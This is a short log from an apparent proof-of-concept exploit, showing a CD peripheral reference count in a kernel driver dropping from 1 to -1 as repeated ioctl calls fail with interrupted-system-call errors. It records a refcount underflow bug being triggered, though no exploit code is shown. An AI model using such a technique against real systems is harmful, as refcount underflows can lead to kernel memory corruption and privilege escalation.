[poc] initial cd periph refcount: 1
[poc] round 0 burn 0: ioctl rc=-1 errno=4(Interrupted system call)  refcount=1
[poc] round 0 burn 1: ioctl rc=-1 errno=4(Interrupted system call)  refcount=0
[poc] round 0 burn 2: ioctl rc=-1 errno=4(Interrupted system call)  refcount=-1